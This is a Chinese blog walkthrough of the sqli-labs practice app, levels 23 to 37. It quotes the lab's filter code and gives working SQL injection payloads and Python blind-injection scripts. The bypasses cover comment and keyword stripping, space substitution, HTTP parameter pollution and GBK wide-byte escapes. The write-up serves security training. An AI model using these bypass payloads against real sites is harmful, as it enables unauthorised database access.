sqli-labs实战记录(二)

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/u011377996/article/details/82187983

Less-23

从这里开始应该是有做了防护,我们可以边看源代码练习代码审计,一边学习各种过waf的技巧了,这一题查看源代码的话发现注释符被过滤掉了

$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

但其实对于这一句SQL语句,我们可以直接单引号闭合而不用注释去把后面的东西给省略掉

http://127.0.0.1/sqlilabs/Less-23/?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) or '1'='1

直接报出数据库,此题完结

Less-24

这一题应该是设计二次注入的题目
在CTF题目里面的话肯定是要你获取admin的账号然后改变admin的密码用admin账号登录获取flag
这里主要关键是pass_change.php这里面的代码

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "

若我们在修改密码的时候
注册一个admin’#的用户就是为了后期能够使这一句话后面的内容全都注释的,从而直接更新的是admin的用户名
这时候的语句就会变成

UPDATE users SET PASSWORD='$pass' where username='admin' 

改你想要密码,然后退出在直接用admin登录就好

Less-25

这一题看源代码会发现有一个黑名单

function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);           //strip out OR (non case sensitive)
    $id= preg_replace('/AND/i',"", $id);       //Strip out AND (non case sensitive)

    return $id;
}

把or还有AND都会替换成为"",这里是大小写都会被拦截下来的
这时候其实可以有几个办法能够绕过

1)大小写变形Or,OR,oR2)编码,hex,urlencode
(3)添加注释/*or*/
(4)利用符号and=&& or=||
(5)双写绕过

输入一个单引号会出现单引号的报错,所以我们尝试闭合一下
http://127.0.0.1/sqlilabs/Less-25/?id=1%27 %23 成功出现回显

我这里选择用双写绕过

http://127.0.0.1/sqlilabs/Less-25/?id=1' aandnd updatexml(1,concat(0x7e,database(),0x7e),1) %23

符号绕过

http://127.0.0.1/sqlilabs/Less-25/?id=1' || updatexml(1,concat(0x7e,database(),0x7e),1) %23

Less-25a

跟上面一题同样的过滤方式,语句变简单了,不用单引号去闭合
但是这一题不能再用报错注入,因为源码中把报错信息给注释掉了,可以用盲注,我们需要用的是union注入或者是盲注
union注入

http://127.0.0.1/sqlilabs/Less-25a/?id=-1 union select 1,database(),3%23

再来一个二分法盲注,通过注入成功还会显示登录名这个标志

import requests
import time

url = '''http://127.0.0.1/sqlilabs/Less-25a/?id=1 aandnd ascii(substr(database(),{_},1))>{__}%23'''

database = ""
for i in range(1, 10):
    Min = 67
    Max =127
    while abs(Max-Min)>1:
        mid = (Max+Min)//2
        payload = url.format(_=i,__=mid)
        ans = requests.get(payload)
        if 'Your Login name:Dumb' in ans.content:
            Min = mid
        else:
            Max = mid
    database += chr(Max)
    print database

注意 上面这两关在写到关于information这个单词的时候,需要注意它里面存在or,我们需要双写绕过

Less-26

输入?id=’会出现单引号的报错
但是想用注释符去闭合发现没效果,再用?id=1' or '1'='1去尝试发现回显成功,这有可能就是注释符被过滤了
看看源代码,果然黑名单被过滤了,空格也被过滤了

function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);           //strip out OR (non case sensitive)
    $id= preg_replace('/and/i',"", $id);       //Strip out AND (non case sensitive)
    $id= preg_replace('/[\/\*]/',"", $id);      //strip out /*
    $id= preg_replace('/[--]/',"", $id);      //Strip out --
    $id= preg_replace('/[#]/',"", $id);          //Strip out #
    $id= preg_replace('/[\s]/',"", $id);      //Strip out spaces
    $id= preg_replace('/[\/\\\\]/',"", $id);      //Strip out slashes
    return $id;
}

没关系,这样我们也可以使用报错注入,这里空格要想绕过的话不能够用注释了,我们可以用%a0,但是我们也可以用无空格报错注入

http://127.0.0.1/sqlilabs/Less-26/?id=1' ||updatexml(1,concat(0x7e,database(),0x7e),1)||'1'='1

用%a0也可以注入

http://localhost/sql/Less-26/?id=1'%a0anandd%a0updatexml(1,concat(0x7e,(select%a0group_concat(table_name)%a0from%a0infoorrmation_schema.TABLES
%a0where%a0TABLE_SCHEMA=database()),0x7e),1)%a0anandd%0a'1'='1

此处我们需要说明两方面:对于注释和结尾字符的我们此处只能利用
构造一个 来闭合后面到
对于空格,有较多的方法

%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格

注意上面的编码绕不过的话我们可以用Linux环境测试

Less-26a
只是查询的句子变了,多了一个括号,这一题也不能报错
我们可以用盲注
http://127.0.0.1/sqlilabs/Less-26a/?id=1‘)%a0aandnd%a0ascii(substr(database(),1,1))=115%a0oorr(‘1’=’1

Less-27

这里发现源代码里面的黑名单又壮大了

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);      //strip out /*
$id= preg_replace('/[--]/',"", $id);      //Strip out --.
$id= preg_replace('/[#]/',"", $id);          //Strip out #.
$id= preg_replace('/[ +]/',"", $id);      //Strip out spaces.
$id= preg_replace('/select/m',"", $id);      //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);      //Strip out spaces.
$id= preg_replace('/union/s',"", $id);      //Strip out union
$id= preg_replace('/select/s',"", $id);      //Strip out select
$id= preg_replace('/UNION/s',"", $id);      //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);      //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);      //Strip out Union
$id= preg_replace('/Select/s',"", $id);      //Strip out select
return $id;
}

这里我们任然可以用双写绕过,也可以用大小写绕过,但是我们直接报错注入就行了不用麻烦

http://192.168.100.103/sqlilabs/Less-27/?id=1'and%a0updatexml(1,concat(0x7e,database(),0x7e),1)%a0and'1'='1

Less-27a

这一题就是源代码把报错注入的回显给注释掉
那我们用盲注就好
双引号闭合

import requests
import time

url = '''http://192.168.100.103/sqlilabs/Less-27a/?id=1"and(ascii(substr((SelEct(database())),{_},1)))>"{__}
'''

database = ""
for i in range(1, 9):
    Min = 67
    Max =127
    while abs(Max-Min)>1:
        mid = (Max+Min)//2
        payload = url.format(_=i,__=mid)
        print payload
        ans = requests.get(payload)
        if 'Your Login name:Dumb' in ans.content:
            Min = mid
        else:
            Max = mid
    database += chr(Max)
    print database

Less-28

这一题把union select无论大小写都过滤掉了,把上面那几题能够双写绕过的全都封杀掉了
这一题只能够盲注,不能报错注入

import requests
import time

url = '''http://192.168.100.103/sqlilabs/Less-28/?id=1')and(ascii(substr((SelEct(database())),{_},1)))>('{__}
'''

database = ""
for i in range(1, 9):
    Min = 67
    Max =127
    while abs(Max-Min)>1:
        mid = (Max+Min)//2
        payload = url.format(_=i,__=mid)
        print payload
        ans = requests.get(payload)
        if 'Your Login name:Dumb' in ans.content:
            Min = mid
        else:
            Max = mid
    database += chr(Max)
    print database

Less-28a

这一题跟上面一题区别不大,也是用盲注,也可以用union注入,只是不要出现+号就好
忙著自己闭合单引号和括号就行
这里我用的是union注入

http://192.168.100.103/sqlilabs/Less-28a/?id=-1%27)unIon(SeLect%201,database(),%273

Less-29

这一题好像是涉及到二层服务的问题,里面的有一个叫HPP(http参数污染)攻击
但是没关系就是第一个参数通过了第一层服务器的waf过滤结果第二个参数没有过滤,这是因为apache的特性,只获取最后一个参数
这里我们是可以直接用单引号闭合就ok

http://192.168.100.103/sqlilabs/Less-29/?id=1&id=-1%27%20union%20select%201,database(),3%20%23

Less-30

同上面的题目

$qs = $_SERVER['QUERY_STRING'];
    $hint=$qs;
    $id1=java_implimentation($qs);
    $id=$_GET['id'];

就是先利用了这个Tomcat去做waf过滤,其实对第二个参数不起作用
这次直接闭合双引号就好

http://192.168.100.103/sqlilabs/Less-30/?id=1&id=-1" union select 1,database(),3%23

Less-31
这一题就是SQL查询语句变了一下,我们需要闭合双引号和括号

http://192.168.100.103/sqlilabs/Less-31/?id=1&id=-1") union select 1,database(),3%23

Less-32

这一题我一开始没有头绪,因为所有参数都被转义了,不能够闭合,后来发现是另外的绕过方法,原来是宽字节的问题
原理:mysql 在使用GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个ascii 码大于128 才能到汉字的范围)。我们在过滤 的时候,往往利用的思路是将 转换为\’
因此我们在此想办法将‘ 前面添加的\ 除掉,一般有两种思路:
1. %df 吃掉\ 具体的原因是urlencode(\‘) = %5c%27,我们在%5c%27 前面添加%df,形成%df%5c%27,而上面提到的mysql 在GBK 编码方式的时候会将两个字节当做一个汉字,此事%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
2. 将\’ 中的\ 过滤掉,例如可以构造%**%5c%5c%27 的情况,后面的%5c 会被前面的%5c给注释掉。这也是bypass 的一种方法。

看源代码我们利用单引号闭合然后加上%df就好,这里我们可以用union注入也可以用报错注入

http://192.168.100.103/sqlilabs/Less-32/?id=-1%df%27union select 1,database(),3 %23

Less-33

这个同上面那题一模一样直接闭合单引号就好,是就是上面写的check函数应该是作者自己写的,这一题是直接调用了系统的函数
对比一下两个函数

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash


    return $string;
}

function check_addslashes($string)
{
    $string= addslashes($string);    
    return $string;
}

payload

http://192.168.100.103/sqlilabs/Less-33/?id=-1%df%27 union select 1,database(),3 %23

这里面怎么防范呢?
使用addslashes(),我们需要将mysql_query 设置为binary 的方式,才能防御此漏洞。

Mysql_query(“SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary”,$conn);

这时候我想到了我当时做的一个题目好像utf8_general_ci可以用编码去绕过,但是那个是在mysql服务端起作用的

Less-34

这一题换了post的模式但是利用方法还是有点不同的,
本关是post 型的注入漏洞,同样的也是将post 过来的内容进行了‘ \ 的处理。由上面的例子可以看到我们的方法就是将过滤函数添加的\ 给吃掉。而get 型的方式我们是以url 形式提交的,因此数据会通过URLencode,如何将方法用在post 型的注入当中,我们此处介绍一个新的方法。将utf-8 转换为utf-16 或utf-32,例如将 转为utf-16 为♦' 。我们就
可以利用这个方式进行尝试。

uname=♦' or 1=1#&passwd=1&submit=Submit

但也可以直接用%df绕过

uname=admin%df' and updatexml(1,concat(0x7e,database(),0x7e),1)#&passwd=ade3&submit=Submit

Less-35

这一题水,根本没有使用任何引号不需要闭合,它的转义也是多余的,直接报错就好

http://192.168.100.103/sqlilabs/Less-35/?id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)%20%23

Less-36

这一关里面用了mysql_real_escape_string函数去进行过滤
是因mysql 我们并没有设置成gbk,所以mysql_real_escape_string()依旧能够被突破。方法
和上述是一样的。
用utf-16绕过

http://192.168.100.103/sqlilabs/Less-36/?id=-1%ef%bf%bd%27 union select 1,database(),3%23

用%df去绕过

http://192.168.100.103/sqlilabs/Less-36/?id=-1%df%27 union select 1,database(),3%23

Less-37

有报错输出选择报错注入,就是post方式的宽字节
uname=admin%df’ and updatexml(1,concat(0x7e,database(),0x7e),1)# &passwd=admin&submit=Submit

小结

SQLi-LABS(Adv)这一部分的题目完结,这一部分主要是对输入的数据进行了过滤和防护,但是都过滤得不全,
还是会存在多种绕过的方法,这一部分学到了新的知识,就是用utf-16编码绕过宽字节的那一部分内容,其实这里的宽字节前提条件是需要客户端里面设置了gbk,服务端跟过程没有设置同样的编码导致的,所以开发的时候得注意,另外的话这里边的二次注入的题目也是很值得推敲的,也学到了新知识,就是服务器两层架构以及http参数污染的应用,有点意思。

猜你喜欢

转载自blog.csdn.net/u011377996/article/details/82187983